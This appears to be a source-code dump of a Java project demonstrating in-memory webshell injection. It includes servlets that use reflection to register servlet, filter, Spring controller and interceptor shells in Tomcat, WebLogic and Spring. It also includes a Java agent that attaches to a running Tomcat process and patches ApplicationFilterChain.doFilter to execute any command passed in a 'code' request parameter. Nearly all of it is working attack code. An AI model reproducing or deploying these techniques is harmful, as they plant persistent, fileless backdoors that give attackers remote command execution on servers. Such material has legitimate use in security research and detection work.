(ApplicationContext) appctx.get(servletContext); 38 | Field atx= applicationContext.getClass().getDeclaredField("context"); 39 | atx.setAccessible(true); 40 | //从ApplicationContext里面拿到StandardContext 41 | StandardContext standardContext = (StandardContext) atx.get(applicationContext); 42 | 43 | //准备内存马 44 | //ServletShell shell = new ServletShell(); 45 | ServletShell1 shell = new ServletShell1(); 46 | 47 | //用wrapper包装内存马 48 | Wrapper wrapper = new StandardWrapper(); 49 | wrapper.setServlet(shell); 50 | wrapper.setName("shell"); 51 | //设置加载顺序 52 | //wrapper.setLoadOnStartup(1); 53 | //设置servlet全限定名,可以不设置 54 | wrapper.setServletClass(shell.getClass().getName()); 55 | 56 | //添加到标准上下文,不用addChild方法,用反射实现 57 | //standardContext.addChild(wrapper); 58 | Class staCtx = standardContext.getClass(); 59 | 60 | //获取父类定义的字段,虽然有继承,但是没卵用。如过 61 | Class staCtxSp = staCtx.getSuperclass(); 62 | 63 | Field childrenField = staCtxSp.getDeclaredField("children"); 64 | childrenField.setAccessible(true); 65 | HashMap children = (HashMap)childrenField.get(standardContext); 66 | children.put("shell",wrapper); 67 | //改modifiers 68 | Field modifiers = childrenField.getClass().getDeclaredField("modifiers"); 69 | modifiers.setAccessible(true); 70 | modifiers.setInt(childrenField,childrenField.getModifiers() & ~Modifier.FINAL); 71 | 72 | //还原children,可以不做,用的是一个引用 73 | childrenField.set(standardContext,children); 74 | 75 | 76 | //添加映射关系,不用addServletMappingDecoded方法,用反射实现 77 | //TODO 有bug,后面研究 78 | standardContext.addServletMappingDecoded("/shell","shell"); 79 | resp.getWriter().write("add success!"); 80 | return; 81 | 82 | } catch (Exception e) { 83 | e.printStackTrace(); 84 | } 85 | resp.getWriter().write("add failed!"); 86 | 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/AddShellWeblogicFilter.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import cn.safe6.filter.FilterShell; 4 | import weblogic.servlet.internal.FilterWrapper; 5 | import weblogic.servlet.internal.WebAppServletContext; 6 | import weblogic.servlet.utils.ServletMapping; 7 | import weblogic.servlet.utils.URLMapping; 8 | 9 | import javax.servlet.ServletException; 10 | import javax.servlet.annotation.WebServlet; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Modifier; 18 | import java.util.EnumSet; 19 | import java.util.List; 20 | import java.util.Map; 21 | 22 | /** 23 | * Filter内存马添加,适用于weblogic 24 | */ 25 | @WebServlet("/addWlsShell") 26 | public class AddShellWeblogicFilter extends HttpServlet { 27 | 28 | @Override 29 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 30 | 31 | try { 32 | //先拿到Context 33 | weblogic.servlet.internal.WebAppServletContext context = (weblogic.servlet.internal.WebAppServletContext) req.getServletContext(); 34 | 35 | 36 | Field filterManagerField =context.getClass().getDeclaredField("filterManager"); 37 | filterManagerField.setAccessible(true); 38 | 39 | weblogic.servlet.internal.FilterManager filterManager= (weblogic.servlet.internal.FilterManager)filterManagerField.get(context); 40 | //filterManager.getFilterChain().add(); 41 | 42 | Field filtersField=filterManager.getClass().getDeclaredField("filters"); 43 | filtersField.setAccessible(true); 44 | 45 | //final 46 | Field filterPatternListField= filterManager.getClass().getDeclaredField("filterPatternList"); 47 | filterPatternListField.setAccessible(true); 48 | Field modifiers = filterPatternListField.getClass().getDeclaredField("modifiers"); 49 | modifiers.setAccessible(true); 50 | modifiers.setInt(filterPatternListField,filterPatternListField.getModifiers() & ~Modifier.FINAL); 51 | 52 | //准备filter马 53 | FilterShell filterShell = new FilterShell(); 54 | 55 | 56 | 57 | //用wrapper包装filter 58 | Class clz = Class.forName("weblogic.servlet.internal.FilterWrapper"); 59 | Constructor constructor = clz.getDeclaredConstructor(String.class,String.class,Map.class,WebAppServletContext.class); 60 | constructor.setAccessible(true); 61 | FilterWrapper filterWrapper = (FilterWrapper) constructor.newInstance(filterShell.getClass().getName(),filterShell.getClass().getName(),null,context); 62 | //设置wrapper包装的filter对象 63 | Field ff = clz.getDeclaredField("filter"); 64 | ff.setAccessible(true); 65 | ff.set(filterWrapper,filterShell); 66 | 67 | //获取filters 68 | Map filterWrapperMap = (Map) filtersField.get(filterManager); 69 | 70 | //添加到filters 71 | filterWrapperMap.put(filterShell.getClass().getName(),filterWrapper); 72 | 73 | //添加映射 74 | List filterInfos = (List) filterPatternListField.get(filterManager); 75 | Class fiz = Class.forName("weblogic.servlet.internal.FilterManager$FilterInfo"); 76 | Constructor constructor1 = fiz.getDeclaredConstructor(String.class, URLMapping.class,WebAppServletContext.class, EnumSet.class); 77 | constructor1.setAccessible(true); 78 | ServletMapping servletMapping = new ServletMapping(); 79 | servletMapping.put("/*",filterShell.getClass().getName()); 80 | filterInfos.add(constructor1.newInstance(filterShell.getClass().getName(),servletMapping,context,null)); 81 | 82 | 83 | resp.getWriter().write("add success!"); 84 | return; 85 | 86 | } catch (Exception e) { 87 | e.printStackTrace(); 88 | } 89 | resp.getWriter().write("add failed!"); 90 | 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/controller/TestController.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.controller; 2 | 3 | import cn.safe6.controller.interceptor.ShellInterceptor; 4 | import org.springframework.beans.factory.annotation.Autowired; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.PostMapping; 8 | import org.springframework.web.bind.annotation.RequestMapping; 9 | import org.springframework.web.context.ContextLoader; 10 | import org.springframework.web.context.WebApplicationContext; 11 | import org.springframework.web.context.request.RequestContextHolder; 12 | import org.springframework.web.context.request.ServletRequestAttributes; 13 | import org.springframework.web.context.support.WebApplicationContextUtils; 14 | import org.springframework.web.servlet.HandlerInterceptor; 15 | import org.springframework.web.servlet.handler.AbstractHandlerMapping; 16 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; 17 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; 18 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 19 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 20 | import org.springframework.web.servlet.support.RequestContextUtils; 21 | 22 | import java.lang.reflect.Field; 23 | import java.lang.reflect.Method; 24 | import java.lang.reflect.Modifier; 25 | import java.util.List; 26 | 27 | @Controller 28 | public class TestController { 29 | 30 | 31 | 32 | @RequestMapping("/index") 33 | public String test(){ 34 | System.out.println(1); 35 | return "index"; 36 | } 37 | 38 | /** 39 | * 用于debug,看上下文对象 40 | * @return 41 | */ 42 | @RequestMapping("/ctx") 43 | public String ctx(){ 44 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); 45 | WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 46 | 47 | System.out.println("get ctx"); 48 | return "index"; 49 | } 50 | 51 | 52 | /** 53 | * 模拟注入controller内存马 54 | * @return 55 | * @throws Exception 56 | */ 57 | @RequestMapping("/addCTShell") 58 | public String addCT() throws Exception { 59 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); 60 | //WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 61 | RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); 62 | RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/controller"),null,null,null,null,null,null); 63 | Class shell = Class.forName("cn.safe6.controller.ShellController"); 64 | Method method = shell.getMethod("exec"); 65 | 66 | handlerMapping.registerMapping(requestMappingInfo,shell.newInstance(),method); 67 | 68 | 69 | System.out.println(1); 70 | return "index"; 71 | } 72 | 73 | 74 | /** 75 | * 模拟注入interceptor内存马 76 | * @return 77 | * @throws Exception 78 | */ 79 | @RequestMapping("/addICShell") 80 | public String addIC() throws Exception { 81 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); 82 | AbstractHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); 83 | 84 | //Field interceptorsField = handlerMapping.getClass().getDeclaredField("adaptedInterceptors"); 85 | Field interceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 86 | interceptorsField.setAccessible(true); 87 | 88 | //修改modifiers 89 | Field modifiers = interceptorsField.getClass().getDeclaredField("modifiers"); 90 | modifiers.setAccessible(true); 91 | modifiers.setInt(interceptorsField,interceptorsField.getModifiers() & ~Modifier.FINAL); 92 | 93 | ShellInterceptor shellInterceptor = new ShellInterceptor(); 94 | 95 | List adaptedInterceptors = (List) interceptorsField.get(handlerMapping); 96 | adaptedInterceptors.add(shellInterceptor); 97 | 98 | System.out.println(1); 99 | return "index"; 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/AddShellFilter.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import cn.safe6.filter.FilterShell; 4 | import org.apache.catalina.Container; 5 | import org.apache.catalina.Context; 6 | import org.apache.catalina.Wrapper; 7 | import org.apache.catalina.core.ApplicationContext; 8 | import org.apache.catalina.core.ApplicationFilterConfig; 9 | import org.apache.catalina.core.StandardContext; 10 | import org.apache.catalina.core.StandardWrapper; 11 | import org.apache.tomcat.util.descriptor.web.FilterDef; 12 | import org.apache.tomcat.util.descriptor.web.FilterMap; 13 | 14 | import javax.servlet.FilterConfig; 15 | import javax.servlet.ServletContext; 16 | import javax.servlet.ServletException; 17 | import javax.servlet.annotation.WebServlet; 18 | import javax.servlet.http.HttpServlet; 19 | import javax.servlet.http.HttpServletRequest; 20 | import javax.servlet.http.HttpServletResponse; 21 | import java.io.IOException; 22 | import java.lang.reflect.Constructor; 23 | import java.lang.reflect.Field; 24 | import java.lang.reflect.Modifier; 25 | import java.util.HashMap; 26 | import java.util.Map; 27 | 28 | /** 29 | * Filter内存马添加 30 | */ 31 | @WebServlet("/add2") 32 | public class AddShellFilter extends HttpServlet { 33 | 34 | @Override 35 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 36 | 37 | try { 38 | //先拿到ServletContext 39 | ServletContext servletContext = req.getServletContext(); 40 | Field appctx =servletContext.getClass().getDeclaredField("context"); 41 | appctx.setAccessible(true); 42 | 43 | //从ServletContext里面拿到ApplicationContext 44 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 45 | Field atx= applicationContext.getClass().getDeclaredField("context"); 46 | atx.setAccessible(true); 47 | //从ApplicationContext里面拿到StandardContext 48 | StandardContext standardContext = (StandardContext) atx.get(applicationContext); 49 | 50 | //准备filter马 51 | FilterShell filterShell = new FilterShell(); 52 | 53 | //拿到关键的三个对象 54 | Field filterDefsField = standardContext.getClass().getDeclaredField("filterDefs"); 55 | filterDefsField.setAccessible(true); 56 | Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps"); 57 | filterMapsField.setAccessible(true); 58 | Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); 59 | filterConfigsField.setAccessible(true); 60 | 61 | //用def包装filter 62 | FilterDef filterDef = new FilterDef(); 63 | filterDef.setFilter(filterShell); 64 | filterDef.setFilterName(filterShell.getClass().getName()); 65 | filterDef.setFilterClass(filterShell.getClass().getName()); 66 | 67 | //添加到上下文 68 | standardContext.addFilterDef(filterDef); 69 | 70 | //配置映射关系 71 | FilterMap filterMap = new FilterMap(); 72 | 73 | filterMap.setFilterName(filterShell.getClass().getName()); 74 | filterMap.addURLPattern("/*"); 75 | //添加到上下文 76 | //standardContext.addFilterMap(filterMap); 77 | //添加到第一位 78 | standardContext.addFilterMapBefore(filterMap); 79 | 80 | 81 | //无法直接new,需要反射 82 | //ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext,filterDef); 83 | //创建filterConfig 84 | Class ac = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); 85 | //Class ac1 = this.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig"); 86 | 87 | //构造方法不是public的 88 | Constructor constructor = ac.getDeclaredConstructor(org.apache.catalina.Context.class,org.apache.tomcat.util.descriptor.web.FilterDef.class); 89 | constructor.setAccessible(true); 90 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); 91 | 92 | //添加到filterConfigs 93 | Map filterConfigs = (Map)filterConfigsField.get(standardContext); 94 | filterConfigs.put(filterShell.getClass().getName(),filterConfig); 95 | 96 | //改modifiers 97 | Field modifiers = filterConfigsField.getClass().getDeclaredField("modifiers"); 98 | modifiers.setAccessible(true); 99 | modifiers.setInt(filterConfigsField,filterConfigsField.getModifiers() & ~Modifier.FINAL); 100 | 101 | //还原filterConfigs,可以不做,用的是一个引用 102 | //filterConfigsField.set(standardContext,filterConfigs); 103 | 104 | 105 | 106 | resp.getWriter().write("add success!"); 107 | return; 108 | 109 | } catch (Exception e) { 110 | e.printStackTrace(); 111 | } 112 | resp.getWriter().write("add failed!"); 113 | 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /agent/src/com/demo/agent/Main.java: -------------------------------------------------------------------------------- 1 | package com.demo.agent; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | import com.sun.tools.attach.VirtualMachineDescriptor; 5 | import javassist.*; 6 | 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.io.UnsupportedEncodingException; 10 | import java.lang.instrument.ClassDefinition; 11 | import java.lang.instrument.Instrumentation; 12 | import java.net.URLDecoder; 13 | import java.util.List; 14 | 15 | public class Main { 16 | 17 | public static void main(String[] args) throws Throwable{ 18 | if (args.length == 0){ 19 | help(); 20 | return; 21 | } 22 | Class.forName("sun.tools.attach.HotSpotAttachProvider"); 23 | String option = args[0].trim(); 24 | if ("list".equals(option)){ 25 | List vms = VirtualMachine.list(); 26 | System.out.println("vm count: " + vms.size()); 27 | for (int i = 0; i < vms.size(); i++) { 28 | VirtualMachineDescriptor vm = vms.get(i); 29 | System.out.println(String.format("pid: %s displayName:%s",vm.id(),vm.displayName())); 30 | } 31 | }if ("tomcat".equals(option)){ 32 | List vms = VirtualMachine.list(); 33 | System.out.println("find tomcat pid"); 34 | for (int i = 0; i < vms.size(); i++) { 35 | VirtualMachineDescriptor vm = vms.get(i); 36 | //System.out.println(String.format("pid: %s displayName:%s",vm.id(),vm.displayName())); 37 | if (vm.displayName().contains("org.apache.catalina.startup.Bootstrap")){ 38 | System.out.println("tomcat pid "+vm.id()); 39 | VirtualMachine virtualMachine = VirtualMachine.attach(vm.id()); 40 | virtualMachine.loadAgent(getJarFileByClass(Main.class)); 41 | System.out.println("inject ok!"); 42 | virtualMachine.detach(); 43 | } 44 | } 45 | }else { 46 | //String targetPid = args[0]; 47 | VirtualMachine virtualMachine = VirtualMachine.attach(option); 48 | virtualMachine.loadAgent(getJarFileByClass(Main.class)); 49 | System.out.println("inject ok!"); 50 | virtualMachine.detach(); 51 | } 52 | } 53 | 54 | public static void agentmain(String agentArg, Instrumentation inst) throws IOException { 55 | 56 | //注册Transformer,配合inst#retransformClasses使用 57 | //inst.addTransformer(new DefineTransformer(),true); 58 | // inst.addTransformer(new DefineTransformer(),true); 59 | 60 | System.out.println("agentmain"); 61 | String className = "org.apache.catalina.core.ApplicationFilterChain"; 62 | 63 | Class[] classes = inst.getAllLoadedClasses(); 64 | for (int i = 0; i < classes.length; i++) { 65 | Class clazz = classes[i]; 66 | try { 67 | //System.out.println(clazz.getName()); 68 | if (className.equals(clazz.getName())){ 69 | System.out.println("Find the Inject Class: " + className); 70 | ClassPool classPool = new ClassPool(true); 71 | classPool.insertClassPath(new ClassClassPath(clazz)); 72 | classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader())); 73 | CtClass ctClass = classPool.get(clazz.getName()); 74 | CtMethod m = ctClass.getDeclaredMethod("doFilter"); 75 | System.out.println(m); 76 | //在方法开头插入 77 | m.insertBefore(" javax.servlet.http.HttpServletRequest req = request; \n" + 78 | " javax.servlet.http.HttpServletResponse res = response; \n " + 79 | " String arg0 = req.getParameter(\"code\");\n" + 80 | " java.io.PrintWriter writer = res.getWriter();\n" + 81 | " if (arg0 != null) {\n" + 82 | " String o = \"\";\n" + 83 | " java.lang.ProcessBuilder p;\n" + 84 | " if(System.getProperty(\"os.name\").toLowerCase().contains(\"win\")){\n" + 85 | " p = new java.lang.ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", arg0});\n" + 86 | " }else{\n" + 87 | " p = new java.lang.ProcessBuilder(new String[]{\"/bin/sh\", \"-c\", arg0});\n" + 88 | " }\n" + 89 | " java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(\"\\\\A\");\n" + 90 | " o = c.hasNext() ? c.next(): o;\n" + 91 | " c.close();\n" + 92 | " writer.write(o);\n" + 93 | " writer.flush();\n" + 94 | " writer.close();\n" + 95 | " }"); 96 | //System.out.println("insertBefore ok!"); 97 | //ctClass.writeFile("D:\\dev\\tomcat\\apache-tomcat-9.0.60\\bin\\"); 98 | inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode())); 99 | //inst.retransformClasses(clazz); 100 | ctClass.detach(); 101 | } 102 | }catch (Throwable e){ 103 | e.printStackTrace(); 104 | } 105 | 106 | 107 | } 108 | } 109 | 110 | public static void help(){ 111 | System.out.println("java -jar agent.jar list\n" + 112 | "java -jar agent.jar targetPid\n" + 113 | "java -jar agent.jar tomcat\n"); 114 | } 115 | public static String getJarFileByClass(Class cs) { 116 | String fileString=null; 117 | String tmpString; 118 | if (cs!=null) { 119 | tmpString=cs.getProtectionDomain().getCodeSource().getLocation().getFile(); 120 | if (tmpString.endsWith(".jar")) { 121 | try { 122 | fileString= URLDecoder.decode(tmpString,"utf-8"); 123 | } catch (UnsupportedEncodingException e) { 124 | fileString=URLDecoder.decode(tmpString); 125 | } 126 | } 127 | } 128 | return new File(fileString).toString(); 129 | } 130 | 131 | 132 | } 133 | --------------------------------------------------------------------------------